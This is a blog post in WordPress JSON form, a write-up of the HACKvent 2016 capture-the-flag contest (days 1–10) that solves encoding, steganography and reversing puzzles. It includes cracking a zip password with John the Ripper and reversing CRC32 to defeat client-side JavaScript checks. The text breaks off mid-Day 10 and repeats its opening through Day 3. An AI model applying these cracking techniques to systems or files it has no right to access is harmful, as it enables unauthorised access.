{"id":494,"date":"2017-01-01T21:54:57","date_gmt":"2017-01-01T20:54:57","guid":{"rendered":"http:\/\/www.sigterm.ch\/?p=494"},"modified":"2022-12-26T19:27:49","modified_gmt":"2022-12-26T18:27:49","slug":"hackvent-2016-write-up","status":"publish","type":"post","link":"https:\/\/sigterm.ch\/?p=494","title":{"rendered":"HACKvent 2016 write-up"},"content":{"rendered":"<p><strong>Update 06.01.2017:<\/strong> Added the challenge descriptions. Thanks to\u00a0khr0x40sh!<br \/>\nHACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day\u00a0and full points are only given if they get solved within the same day.<br \/>\nI solved all challenges except the last one,\u00a0but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.<br \/>\nI ended on rank #23.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-509 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking.png\" alt=\"Ranking CTF Hackvent\" width=\"771\" height=\"697\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking.png 771w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking-300x271.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking-768x694.png 768w\" sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/a><!--more--><\/p>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 01 &#8211; Detours:<\/h1>\n<p><em>Follow the white rabbit&#8230;<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?<br \/>\n<a href=\"http:\/\/ow.ly\/I7KW3070pzr&amp;#8221\" target=\"_blank\" rel=\"nofollow noopener\">http:\/\/ow.ly\/I7KW3070pzr&amp;#8221<br \/>\n<\/a><a href=\"http:\/\/ow.ly\/oyST3070pBj&amp;#8221\" target=\"_blank\" rel=\"nofollow noopener\">http:\/\/ow.ly\/oyST3070pBj&amp;#8221<br \/>\n<\/a><a href=\"http:\/\/ow.ly\/fABn3070pCs&amp;#8221\" target=\"_blank\" rel=\"nofollow noopener\">http:\/\/ow.ly\/fABn3070pCs&amp;#8221<\/a><br \/>\n<strong>Solution:<br \/>\n<\/strong>If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:<br \/>\n1: http:\/\/tiny.cc\/<strong>HV16-t8Kd<\/strong><br \/>\n2: http:\/\/tiny.cc\/<strong>38aY-QxL5<\/strong><br \/>\n3: http:\/\/tiny.cc\/<strong>bn4K-c6Lw<\/strong><br \/>\nIn the URL of the intermediate url-shortener\u00a0we see the nugget:<br \/>\n<strong>HV16-t8Kd-38aY-QxL5-bn4K-c6Lw<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 02 &#8211; Free Giveaway:<\/h1>\n<p><em>the keys are the key<\/em><\/p>\n<p><strong>Description:<br \/>\n<\/strong>Today, Santa has a free giveaway for you:<\/p>\n<div align=\"center\"><strong>DK16[OEdo[&#8220;lu[;&#8221;Nl[R&#8221;D4[2Qmi<\/strong><\/div>\n<p><strong>Solution:<\/strong><br \/>\nAfter trying many things(like xoring, substitution cyphers, &#8230;) to decrypt the nugget, I thought it must be something related to\u00a0the hint &#8220;they keys are the key&#8221;. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.<br \/>\nI used an online Dvorak converter and got the key.<br \/>\n<a href=\"http:\/\/wbic16.xedoloh.com\/dvorak.html\">http:\/\/wbic16.xedoloh.com\/dvorak.html<\/a><br \/>\n<strong>HV16-SDhs-qqpf-zQLp-OQH4-2Xmg<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 03 &#8211; Manufactory:<\/h1>\n<p><em>Do it yourself<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nToday\u2019s gift is ready to be manufactured, but Santa\u2019s afraid that his factory won\u2019t manage to do a production run before christmas. But perhaps you can create it yourself?<br \/>\n<a href=\"https:\/\/sigterm.ch\/stuff\/hackvent16\/instructions.gcode\" target=\"_blank\" rel=\"noopener\">Get Building Instructions<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nIn the header of the instruction file we\u00a0can\u00a0see it was generated by slic3r, which is a g-code generator for 3d printers.<br \/>\nI used an online gcode viewer where I could\u00a0upload the file: http:\/\/gcode.ws\/<br \/>\nIn the 3D view of the tool a\u00a0QR Code becomes visible, which then reveals the nugget:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-518\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31.png\" alt=\"\" width=\"235\" height=\"233\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31.png 235w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-19.17.31-150x150.png 150w\" sizes=\"auto, (max-width: 235px) 100vw, 235px\" \/><\/a><br \/>\n<strong>HV16-oY2d-2Ki7-JBDe-VVdg-X8bW<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 04 &#8211; Language Of Us:<\/h1>\n<p><em>Why so seriously?<\/em><\/p>\n<p><strong>Description:<br \/>\n<\/strong>You all should know this language, but this one is not that consequent as it should be.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/the-text.txt\" target=\"_blank\" rel=\"noopener\">the-text.txt<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nFirst I created a script which translated it\u00a0to normal text. But this just results in\u00a0the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says\u00a0the leetspeak is not very consequent&#8230; So the code must\u00a0depend on if a character is written in leetspeak or not:<br \/>\nAll leetspeak characters are a 1 and all others a 0.<br \/>\nI used\u00a0this bash command to convert the text to the binary string:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/bin\/bash\ncat the-text.txt | sed 's\/3\/1\/g' | sed 's\/4\/1\/g' | sed 's\/9\/1\/g' | sed 's\/7\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/5\/1\/g' | sed 's\/!\/1\/g' | sed 's\/\\\\\\\/\\\\\\\/\/1\/g' | sed 's\/|\\\/|\/1\/g' | sed 's\/|-|\/1\/g' | sed 's\/(\/1\/g' | sed 's\/|\\*\/1\/g' | sed 's\/|2\/1\/g' | sed 's\/\\`\\\/\/1\/g' | sed 's\/|=\/1\/g' | sed 's\/\\\/v\\\\\/1\/g' | sed 's\/|&lt;\/1\/g' | sed 's\/|)\/1\/g' | sed \"s\/\\\\\\'\/1\/g\" | sed 's\/8\/1\/g' | sed 's\/0\/1\/g' | sed 's\/\u00a3\/1\/g' | sed 's\/|_|\/1\/g' | sed 's\/&gt;&lt;\/1\/g' | sed 's\/_|\/1\/g' | sed 's\/[a-z]\/0\/g'<\/pre>\n<p>The output of the bash script is:<\/p>\n<p class=\"p1\"><em><span class=\"s1\">0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 &#8220;1011010, 010110100, 10 110100101&#8221;, 101 00101101 0010110 &#8220;1001011&#8221;.<\/span><\/em><\/p>\n<p class=\"p1\"><em><span class=\"s1\">010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111&#8217;0 110111101.<\/span><\/em><\/p>\n<p class=\"p1\"><em><span class=\"s1\">001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 &#8211; 11 101000 101 10100101101 &#8211; 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.<\/span><\/em><\/p>\n<p class=\"p1\"><em><span class=\"s1\">1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.<\/span><\/em><\/p>\n<p class=\"p1\">http:\/\/www.unit-conversion.info\/texttools\/convert-text-to-binary\/#data<br \/>\n<strong>HV16-O7oI-W34j-BJH7-cSvk-e5Hz<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 05 &#8211; Boolean Fun:<\/h1>\n<p><em>Every Bit Is Important<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta found a paper with some strange logical stuff on it. On the back of it there is the hint: \u201cuse 32 bit\u201d.<br \/>\nHe has no clue what this means \u2013 can you show him, what \u201c???\u201d should be?<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-519\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant-300x158.png\" alt=\"\" width=\"300\" height=\"158\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant-300x158.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/everyBitIsImportant.png 588w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nI took the simple path with python \ud83d\ude09<\/p>\n<pre class=\"wrap:true lang:python decode:true \">#!\/usr\/bin\/python\nprint (~((4 | 7) ^ (1337 &amp; 424242))) | 0xB055<\/pre>\n<p>The result is -291, submitting this to the website returns\u00a0a QR code with\u00a0the nugget:<br \/>\n<strong>HV16-2wGq-wOX3-T2oe-n8si-hZ0A<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 06 &#8211; Back 2 Work:<\/h1>\n<p><em>Greetings from Thumper<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nGreetings from Thumper, he has an order for you:<br \/>\n1. unzip: the password is confidential<br \/>\n2. find the flag<br \/>\n3. look at my holiday pictures<br \/>\n<strong>Comment:<\/strong> Be aware, the pictures are only supplement.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/holiday.zip\" target=\"_blank\" rel=\"noopener\">holiday.zip<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nUnfortunately the comment, about the pictures being only supplement, was not there\u00a0from the beginning. I wasted a lot of time\u00a0trying to find hidden things\u00a0in the pictures instead of the zip file! \ud83d\ude41<br \/>\nAfter the comment was uploaded, it was clear it&#8217;s something with the zipfile itself. Looking closer at it\u00a0with hexdump, shows\u00a0a suspicious pattern. In the end, where all the filenames in the archive\u00a0are listed, there are is a pattern with 0x09 and 0x20 between the file names.<br \/>\n&#8230;<br \/>\n013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |<br \/>\n013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | &#8230;.. . &#8230; |<br \/>\n013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK&#8230;&#8230;.|<br \/>\n01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |&#8230;..&#8217;I&#8230;4&#8230;.A|<br \/>\n01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |&#8230;..image_0005.|<br \/>\n01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20<br \/>\n&#8230;<br \/>\nIf we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote\u00a0these 25 binary strings to\u00a0a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with &#8216;#&#8217; and the 0 with a whitespace and I got this:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-500\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14-171x300.png\" alt=\"\" width=\"171\" height=\"300\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14-171x300.png 171w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.59.14.png 188w\" sizes=\"auto, (max-width: 171px) 100vw, 171px\" \/><\/a><br \/>\nBut this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character &#8216;FULL BLOCK&#8217; (U+2588):<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-501\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54-168x300.png\" alt=\"\" width=\"168\" height=\"300\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54-168x300.png 168w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-01-at-20.58.54.png 184w\" sizes=\"auto, (max-width: 168px) 100vw, 168px\" \/><\/a><br \/>\nStill not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-516\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50.png\" alt=\"\" width=\"250\" height=\"250\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50.png 250w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2016-12-07-at-21.31.50-150x150.png 150w\" sizes=\"auto, (max-width: 250px) 100vw, 250px\" \/><\/a><strong>HV16-y9YO-sDo1-Vi7O-RWq1-V7hN<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 07 &#8211; TrivialKRYPTO 1.42:<\/h1>\n<p><em>You think you need the password?<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nToday\u2019s present is encrypted. Luckily Santa did not use Kryptochef\u2019s KRYPTO 2.0 so there might be a slight chance of recovering it?<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/trivialcrypt.html\" target=\"_blank\" rel=\"noopener\">Get me there \u2026<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nFirst step is\u00a0analysing the source code of the webpage. There you can\u00a0see that all the crypto is done in javascript, on the client side. So we know\u00a0exactly what&#8217;s going on, but we first need to understand it. The most relevant parts of the source are:<\/p>\n<pre class=\"wrap:true lang:js decode:true\">s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3849194977,3171764887];\n...\nvar s=\"\";\nfor(var i=0;i&lt;s3cr3t.length;i++) {\nvar pp=\"\";\nfor(var p = (s3cr3t[i] ^ crc32(pass)); p&gt;0; p&gt;&gt;=8) {\npp = String.fromCharCode(p&amp;0xFF)+pp;\n}\ns+=pp;\n}\n...<\/pre>\n<p>What\u00a0means the CRC32 of the entered password is xored with the values in s3cr3t, always\u00a08 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits,\u00a0therefore we have 4 runs in the loop until p&gt;0 (p&gt;&gt;=8). This means the s3cr3t[0] loop returns\u00a04 characters which have to be &#8220;HV16&#8221;!<br \/>\n-&gt; s3cr3t[0] ^ crc32(pass) = &#8220;HV16&#8221;<br \/>\n-&gt; crc32(pass) = s3cr3t[0] ^ &#8220;HV16&#8221;<br \/>\n-&gt; crc32(pass) = 2155568001 ^ 0x48563136 \/\/take value &amp; HV16 to hex<br \/>\nhttp:\/\/xor.pw<br \/>\n-&gt; crc32(pass) = c82d6ab7<br \/>\nHow can we reverse the CRC32?!<br \/>\n<a href=\"http:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html\">http:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html<\/a><br \/>\nI downloaded the code in the end and adapt it to our string:<\/p>\n<pre class=\"lang:c decode:true\">vim ReverseCRC.cpp\nint main(void) {\n  testOne(0x0, 0xc82d6ab7);\n  testOneAscii(0x0, 0xc82d6ab7);\n  return 0;\n}<\/pre>\n<p>initial: 0x00000000 OK &#8211; bytes to add: { 0x84, 0xa3, 0x93, 0x8e }<br \/>\ninitial: 0x00000000 OK &#8211; string to add: <strong>3tnaIl<\/strong><br \/>\nEnter &#8216;3tnaIl&#8217; as password on the website which returns\u00a0the nugget:<br \/>\n<strong>HV16-bxuh-b3ep-1PCU-b9ft-CgVu<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 08 &#8211; Lost In Encoding:<\/h1>\n<p><em>Multiple encodings = good encryption?<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.<br \/>\nIt\u2019s now on you, who has to get it up.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/l0st_1n_7ranslation.fun\" target=\"_blank\" rel=\"noopener\">l0st_1n_7ranslation.fun<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nReally helpful link!<br \/>\n<a href=\"http:\/\/www.garykessler.net\/library\/file_sigs.html\">http:\/\/www.garykessler.net\/library\/file_sigs.html<\/a><br \/>\n1. yenc decode the full file<br \/>\n<a href=\"http:\/\/www.webutils.pl\/index.php?idx=yenc\">http:\/\/www.webutils.pl\/index.php?idx=yenc<\/a><br \/>\n2. base64 decode<br \/>\n3. ASCII85 decode. I had a problems identifying this encoding. It starts with &#8220;&lt;~&#8221; and ends with &#8220;~&gt;&#8221;, so it was pretty obvious what to google for. Unfortunately you cannot google this \ud83d\ude42 The garykessler.net link really helped a lot here!<br \/>\nAfter the ASCII85 decoding this text is revealed:<br \/>\nComputer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. &#8211; Eric S. Raymond<br \/>\n<strong>HV16-l0st-1n7r-4nsl-4710-n00b<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 09 &#8211; Illegal Prime Number:<\/h1>\n<p><em>Huh \u2013 what the f***?<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nI\u2019ve heard something about illegal prime numbers\u2026 Maybe this number contains the flag:<\/p>\n<div style=\"text-align: center;\" align=\"center\">\n<pre class=\"wrap:true lang:default highlight:0 decode:true\">4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309<\/pre>\n<\/div>\n<p><strong>Solution:<\/strong><br \/>\nIllegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is\u00a0the illegal prime number\u00a0which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.<br \/>\nI used the extraction script of this website:<br \/>\n<a href=\"http:\/\/primes.utm.edu\/curios\/page.php?number_id=953\">http:\/\/primes.utm.edu\/curios\/page.php?number_id=953<\/a><br \/>\nI modified the extraction script to work with the given\u00a0number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password &#8220;qwerty&#8221; in no time.<br \/>\n<strong>HV16-0228-d75b-40cd-8a0e-1f3e<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-522 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 10 &#8211; I want to play a Game:<\/h1>\n<p><em>Part One<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nReversing Day 1: we\u2019ll start with an easy one.<\/p>\n<div style=\"text-align: left;\" align=\"center\"><a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/ReGame_Part1.zip\" target=\"_blank\" rel=\"noopener\">Gimme that thing!<\/a><\/div>\n<p><strong>Solution:<\/strong><br \/>\nI was a bit lucky here, didn&#8217;t really need to reverse the code:<br \/>\n1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:<\/p>\n<pre class=\"lang:default decode:true \">KR40*^d?r!CdhX&lt;w<\/pre>\n<p><strong>Update 06.01.2017:<\/strong> Added the challenge descriptions. Thanks to\u00a0khr0x40sh!<br \/>\nHACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day\u00a0and full points are only given if they get solved within the same day.<br \/>\nI solved all challenges except the last one,\u00a0but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.<br \/>\nI ended on rank #23.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-509 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking.png\" width=\"771\" height=\"697\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking.png 771w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking-300x271.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/ranking-768x694.png 768w\" sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/a><!--more--><\/p>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 01 &#8211; Detours:<\/h1>\n<p><em>Follow the white rabbit&#8230;<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?<br \/>\n<a href=\"http:\/\/ow.ly\/I7KW3070pzr&amp;#8221\" target=\"_blank\" rel=\"nofollow noopener\">http:\/\/ow.ly\/I7KW3070pzr&amp;#8221<br \/>\n<\/a><a href=\"http:\/\/ow.ly\/oyST3070pBj&amp;#8221\" target=\"_blank\" rel=\"nofollow noopener\">http:\/\/ow.ly\/oyST3070pBj&amp;#8221<br \/>\n<\/a><a href=\"http:\/\/ow.ly\/fABn3070pCs&amp;#8221\" target=\"_blank\" rel=\"nofollow noopener\">http:\/\/ow.ly\/fABn3070pCs&amp;#8221<\/a><br \/>\n<strong>Solution:<br \/>\n<\/strong>If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:<br \/>\n1: http:\/\/tiny.cc\/<strong>HV16-t8Kd<\/strong><br \/>\n2: http:\/\/tiny.cc\/<strong>38aY-QxL5<\/strong><br \/>\n3: http:\/\/tiny.cc\/<strong>bn4K-c6Lw<\/strong><br \/>\nIn the URL of the intermediate url-shortener\u00a0we see the nugget:<br \/>\n<strong>HV16-t8Kd-38aY-QxL5-bn4K-c6Lw<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 02 &#8211; Free Giveaway:<\/h1>\n<p><em>the keys are the key<\/em><\/p>\n<p><strong>Description:<br \/>\n<\/strong>Today, Santa has a free giveaway for you:<\/p>\n<div align=\"center\"><strong>DK16[OEdo[&#8220;lu[;&#8221;Nl[R&#8221;D4[2Qmi<\/strong><\/div>\n<p><strong>Solution:<\/strong><br \/>\nAfter trying many things(like xoring, substitution cyphers, &#8230;) to decrypt the nugget, I thought it must be something related to\u00a0the hint &#8220;they keys are the key&#8221;. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.<br \/>\nI used an online Dvorak converter and got the key.<br \/>\n<a href=\"http:\/\/wbic16.xedoloh.com\/dvorak.html\">http:\/\/wbic16.xedoloh.com\/dvorak.html<\/a><br \/>\n<strong>HV16-SDhs-qqpf-zQLp-OQH4-2Xmg<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 03 &#8211; 